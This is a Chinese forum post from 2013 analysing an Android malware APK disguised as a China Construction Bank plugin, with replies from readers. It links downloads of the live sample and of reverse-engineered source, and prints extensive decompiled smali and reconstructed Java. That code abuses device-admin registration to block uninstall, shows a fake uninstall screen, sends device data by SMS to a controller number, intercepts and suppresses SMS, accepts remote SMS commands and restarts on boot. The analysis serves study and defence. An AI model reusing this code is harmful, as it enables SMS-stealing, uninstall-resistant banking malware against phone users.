元亨利之贞 发表于 2013-11-12 23:11

【原创】某伪装建设银行插件apk病毒分析(附源码)

本帖最后由 元亨利之贞 于 2013-11-14 20:42 编辑


样本下载地址:http://yunpan.cn/Q9NBdg6nqP4Fp    密码123
源代码:http://yunpan.cn/Q9DXRkGIkagmL
源码附件是自己逆的,可能在某个逻辑上存在错误,但是大部分功能已经实现,还望海涵
样本反编译后会出现许多java文件,其中有几个已被混淆命名为a,b,c,d
在本文中a对应源码中的FilterSMS
b类对应sendTelMessageByHandler
c类对应sendhandlerMessage
d类对应OrderManagement
apk启动的第一个activity为MainActivity

并非跟apk代码一模一样 但是逻辑功能尽可能贴近作者代码写的很烂 各位见谅
                   测试平台:android2.3.3
请在虚拟机中运行,切勿在真机中运行
当在虚拟机中安装运行,“激活”之后 正确的卸载方法是:在“设备管理器”中将其取消放能卸载
虽然该apk只有几百k 但是工程代码还是挺多的

样本主要行为描述:
(1)在“设备管理器”中注册该apk,使得用户卸载失败,从而达到不让用户卸载的目的
         具体来说 当运行该apk时,只要用户点击激活 将在注册该apk 这就是激活条件
(2)注册卸载广播,监听卸载。当用户卸载该apk时,该apk将误导用户点击“卸载程序”实际上
         将执行其UninstallerActivity显示 "应用程序尚未安装在您的手机上" 并且执行服务
   
(3)运行后 将创建服务监听用户短信,过滤发过来的短信进行相应的行为,其号码为:
         18458144548。这个功能类似远控了。即回复com@false关闭com@true开启/关闭服务
         为了让服务不被结束掉,该apk在通知栏中被运行 如图:


(4)注册监听短信广播,同样用于过滤用户短信,其中一个过滤条件是只拦截2013-10-20 00:00:00之后的短信。 当拦截到短信后 根据配置项islj 如果为ture或者联系人包含作者也就是18458144548 则终止广播
(5) 类BootReceiver代码检查服务是否运行
   以上是主要行为 其他细节 后面说到 由于代码较多有些代码还是看源码把
apk样本流程:安装apk后,首先注册receiver监听短信其类为SmSReceiver,注册类BootReceiver实现开机启动,注册类uninstallerActivity监听卸载事件。之后启动MainActivity
发送用户手机版本等信息发送到指定手机,注册设备管理器,之后开启短信监听服务,再判断设备管理器中是否激活
该apk 如无则弹出框欺骗用户点击“激活”
    行为(1)代码:
    在MainActivity中的onCreate中主要完成发送设备信息到指定号码,开启服务,注册设备管理器, 反编译代码如下:
//发送设备信息
const-string v1, "18458144548" //手机号码

new-instance v2, Ljava/lang/StringBuilder;

const-string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c"

invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

sget v3, Landroid/os/Build$VERSION;->SDK_INT:I //获取版本

invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v2

const-string v3, " "

invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v2

sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String; //获取MODEL

invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v2
//发送短信,对应源码中OrderManagement的sendTelMessage的方法
invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V

其对应的源码为:
OrderManagement send= new OrderManagement();
if (!"Q049U0hBWUZN".equals(OrderManagement.encodeX509(this))) {
send.sendTelMessage("5558", new String("手机已安装软件,回复com@false关闭com@true开启, 版本"
+Build.VERSION.SDK_INT
+" "
+Build.MODEL)
, null);

注册设备管理器代码:该设备管理器需要一个xml,而该xml的格式可以查看DevicePolicyManager类的文档该xml的格式如下:这就是为什么在程序启动的时候为什么会出现激活界面,详见android文档
<?xml version="1.0" encoding="utf-8"?>
<device-admin
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-policies>
<force-lock />
</uses-policies>
</device-admin>


注册设备管理器代码:

const-string v0, "device_policy"

invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/app/admin/DevicePolicyManager;

iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

new-instance v0, Landroid/content/ComponentName;

const-class v1, Lcn/android/emial/DeviceReceiver;

invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z

move-result v1
//判断是否已经在设备管理中激活
if-nez v1, :cond_0

new-instance v1, Landroid/content/Intent;

const-string v2, "android.app.action.ADD_DEVICE_ADMIN"

invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V

const-string v2, "android.app.extra.DEVICE_ADMIN"

invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

const-string v0, "android.app.extra.ADD_EXPLANATION"

const-string v2, "\u8bbe\u5907\u7ba1\u7406\u5668"

invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;

const/4 v0, 0x0

invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V

:cond_0
invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V

其源代码为:
//判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活
if (a.isAdminActive(componentName)==false) {
Intent intent1=new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent1.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this,deviceReceiver2.class));
intent1.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
startActivity(intent1);
最后 还要在xml中申明该类deviceReceiver2
<receiver android:label="System 设备管理器" android:name="com.example.emial.deviceReceiver2" android:permission="android.permission.BIND_DEVICE_ADMIN" android:description="@string/action_settings">
<meta-data android:name="android.app.device_admin" android:resource="@xml/lock_screen" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>

行为(2)代码:注册卸载广播
这断代码简单 在xml中申明即可:
<activity android:name="uninstallerActivity" android:label="卸载程序">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.VIEW" />
<action android:name="android.intent.action.DELETE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="package" />
</intent-filter>
</activity>
当用户点击“卸载程序” 就会执行uninstallerActivity


行为(3)代码:创建服务监听用户短信
该服务主要是类smSserver 是在mainActivity中的oncreate创建的
该类主要让服务总在前台运行,使之不被系统回收,之后动态注册各自监听器,以达到监听用户短信之用
new-instance v0, Landroid/app/Notification; //创建通知栏

const v1, 0x7f020001

const-string v2, ""

invoke-static {}, Ljava/lang/System;->currentTimeMillis()J

move-result-wide v3

invoke-direct {v0, v1, v2, v3, v4}, Landroid/app/Notification;-><init>(ILjava/lang/CharSequence;J)V

new-instance v1, Landroid/content/Intent;

invoke-direct {v1}, Landroid/content/Intent;-><init>()V

new-instance v2, Landroid/widget/RemoteViews;

invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getPackageName()Ljava/lang/String;

move-result-object v3

const/high16 v4, 0x7f03

invoke-direct {v2, v3, v4}, Landroid/widget/RemoteViews;-><init>(Ljava/lang/String;I)V

iput-object v2, v0, Landroid/app/Notification;->contentView:Landroid/widget/RemoteViews;

invoke-static {p0, v5, v1, v5}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;

move-result-object v1

iput-object v1, v0, Landroid/app/Notification;->contentIntent:Landroid/app/PendingIntent;

const/16 v1, 0x64
//将服务至于前台 使之不被结束
invoke-virtual {p0, v1, v0}, Lcn/android/emial/SmSserver;->startForeground(ILandroid/app/Notification;)V

new-instance v0, Landroid/content/IntentFilter;

invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V

const-string v1, "android.provider.Telephony.SMS_RECEIVED"

invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

const-string v1, "android.provider.Telephony.SMS_RECEIVED_2"

invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

const-string v1, "android.provider.Telephony.GSM_SMS_RECEIVED"

invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V

const/16 v1, 0x3e8

invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V

new-instance v1, Lcn/android/emial/SmSReceiver;

invoke-direct {v1}, Lcn/android/emial/SmSReceiver;-><init>()V

iput-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;

iget-object v1, p0, Lcn/android/emial/SmSserver;->b:Lcn/android/emial/SmSReceiver;

const-string v2, "android.permission.BROADCAST_SMS"
// 动态注册监听广播 使之优先级更高确保监听
invoke-virtual {p0, v1, v0, v2, v6}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent;

new-instance v0, Lcn/android/emial/SmSReceiver;

invoke-direct {v0}, Lcn/android/emial/SmSReceiver;-><init>()V

iput-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;

iget-object v0, p0, Lcn/android/emial/SmSserver;->c:Lcn/android/emial/SmSReceiver;

new-instance v1, Landroid/content/IntentFilter;

const-string v2, "com.yfm.send"

invoke-direct {v1, v2}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V

invoke-virtual {p0, v0, v1}, Lcn/android/emial/SmSserver;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;

new-instance v0, Lcn/android/emial/a;

invoke-direct {v0, p0, v6}, Lcn/android/emial/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V

iput-object v0, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;

invoke-virtual {p0}, Lcn/android/emial/SmSserver;->getContentResolver()Landroid/content/ContentResolver;

move-result-object v0

sget-object v1, Lcn/android/emial/SmSserver;->a:Landroid/net/Uri;

const/4 v2, 0x1

iget-object v3, p0, Lcn/android/emial/SmSserver;->d:Lcn/android/emial/a;

invoke-virtual {v0, v1, v2, v3}, Landroid/content/ContentResolver;->registerContentObserver(Landroid/net/Uri;ZLandroid/database/ContentObserver;)V

new-instance v0, Lcn/android/emial/c;

invoke-direct {v0, p0}, Lcn/android/emial/c;-><init>(Lcn/android/emial/SmSserver;)V

invoke-virtual {v0}, Lcn/android/emial/c;->start()V

其源码为:
Notification notification=new Notification(R.drawable.ic_launcher,"",System.currentTimeMillis());//v0
Intent intent=new Intent();//v1
//RemoteViews在类的自定义通知的时候可以用到,用来设置自定义通知的布局资源
RemoteViews contentView=new RemoteViews(getPackageName(), R.layout.activity_main);
//检索一个PendingIntent,将启动一个新的activity,注意该activity将在一个存在的activity的上下文之外启动
PendingIntent contentIntent =PendingIntent.getActivity(this,0,intent,0);
//通过startForeground让服务前台运行,以免长时间不用而被kill
//如果不加setLatestEventInfo函数 将导致奔溃,但原来的代码中却没有
notification.setLatestEventInfo(this,"点击查看","点击查看详细内容",contentIntent);
startForeground(100,notification);

IntentFilter intentFilter=new IntentFilter(); //v0
intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED_2");
intentFilter.addAction("android.provider.Telephony.GSM_SMS_RECEIVED");
intentFilter.setPriority(0x3e8);

b=new SmSReceiver();
c=new SmSReceiver();
IntentFilter intentFilter2=new IntentFilter("com.yfm.send");
//动态注册监听广播
this.registerReceiver(b,intentFilter,"android.permission.BROADCAST_SMS",null);
this.registerReceiver(c, intentFilter2);

d=new FilterSMS(this, null);
ContentResolver contentResolver=getContentResolver();
//为指定的Uri注册一个ContentObserver派生类实例,当给定的Uri发生改变时,回调该实例对象去处理。
contentResolver.registerContentObserver(uri, true, d);
//创建sendhandlerMessage类,启动其线程
new sendhandlerMessage().start();

行为(4)代码:静态注册监听广播,过滤短信
首先是在xml中申明该监听器:
<receiver android:name="SmSReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.provider.Telephony.SMS_RECEIVED_2"/>
<action android:name="android.provider.Telephony.GSM_SMS_RECEIVED"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
SmSReceiver类会在拦截短信进行一些判断 如时间是否在2013-10-20 00:00:0之后 然后调用
a(Landroid/os/Bundle;Landroid/content/Context;Lcn/android/emial/SmSReceiver;)V方法
也就是SMShijacking方法 进一步判断是否终止广播
这段涉及到几个类 为了不使文章过于长就不列出源码了 具体看工程文件把


行为(5)代码:类BootReceiver 检查服务是否正在运行
该类调用.method public static a(Landroid/content/Context;Ljava/lang/String;)Z方法也就是源码中的GetService来遍历当前服务 看该apk服务是否运行
//GetService如下
.method public static a(Landroid/content/Context;Ljava/lang/String;)Z
.locals 5

const/4 v1, 0x0

const-string v0, "activity"

invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/app/ActivityManager;

const/16 v2, 0x28

invoke-virtual {v0, v2}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;

move-result-object v3

invoke-interface {v3}, Ljava/util/List;->size()I

move-result v4

move v2, v1

:goto_0
if-lt v2, v4, :cond_0

move v0, v1

:goto_1
return v0

:cond_0
invoke-interface {v3, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;

move-result-object v0

check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;

iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;

invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;

move-result-object v0

invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v0

if-eqz v0, :cond_1

const/4 v0, 0x1

goto :goto_1

:cond_1
add-int/lit8 v0, v2, 0x1

move v2, v0

goto :goto_0
.end method

源码为:
public static Boolean GetService(Context context,String ServiceName)
{
//得到系统的全局activity状态
ActivityManager activityManager=(ActivityManager) context.getSystemService("activity");
//返回当前正在运行的服务列表,此方法仅用于调试或实现了服务管理型的用户接口。参数为返回的最大数目
List<ActivityManager.RunningServiceInfo> activitylist= activityManager.getRunningServices(0x28); //v4


for (int i = 0; i < activitylist.size(); i++)
{
//如果当前服务的类名与context相等
if (activitylist.get(i).service.getClassName().equals(ServiceName)) {
return true;
}

}
return false;

}

接着在onReceive方法中 调用GetService方法
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 4

const-string v0, "cn.android.emial.SmSserver"

invoke-static {p1, v0}, Lcn/android/emial/BootReceiver;->a(Landroid/content/Context;Ljava/lang/String;)Z

move-result v0

const-string v1, "phone"

new-instance v2, Ljava/lang/StringBuilder;

const-string v3, "server_"

invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;

move-result-object v2

invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v2

invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I

if-nez v0, :cond_0

new-instance v0, Landroid/content/Intent;

const-class v1, Lcn/android/emial/SmSserver;

invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

const/high16 v1, 0x1000

invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;

invoke-virtual {p1, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

:cond_0
return-void
.end method
源码为:
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Boolean TheServiceIsRunBoolean= GetService( context,"com.example.emial"); //v0
Log.i("phone", "server_"+TheServiceIsRunBoolean);
if (TheServiceIsRunBoolean==false) { //如果当前服务没有运行则再次启动服务
Intent intentnew=new Intent(context,smSserver.class);
intentnew.addFlags(0x1000);
context.startService(intentnew);
}


}

差不多就写到这里具体内容结合源码 才能体会 如果错误 还望包涵


天涯凝望 发表于 2013-11-12 23:23

看来apk的东东还是要好好学学

lovezbq2014 发表于 2013-11-12 23:16

坐个沙发········
真的看不懂·· 现在才知道文化底了···········

B-X 发表于 2013-11-12 23:41

楼主谦虚了,好贴!

蹲街角暗杀 发表于 2013-11-12 23:44

好吧 APK 真的不会

啸雨 发表于 2013-11-13 11:19

作为一个JAVA初学者,学习一下

向东哥致意 发表于 2013-11-13 15:38

学习一下

luluzhu 发表于 2013-11-13 15:45

谢谢楼主最近不知道为什么论坛总是出问题

莺歌燕语 发表于 2013-11-13 15:50

不错有前途非常厉害.
如果用户有手机安全软件,这玩意会被拦截滴, 而且还没有ROOT使用,

siyuan 发表于 2013-11-13 17:57

蛋疼的 {:1_908:}
页: [1] 2 3 4
查看完整版本: 【原创】某伪装建设银行插件apk病毒分析(附源码)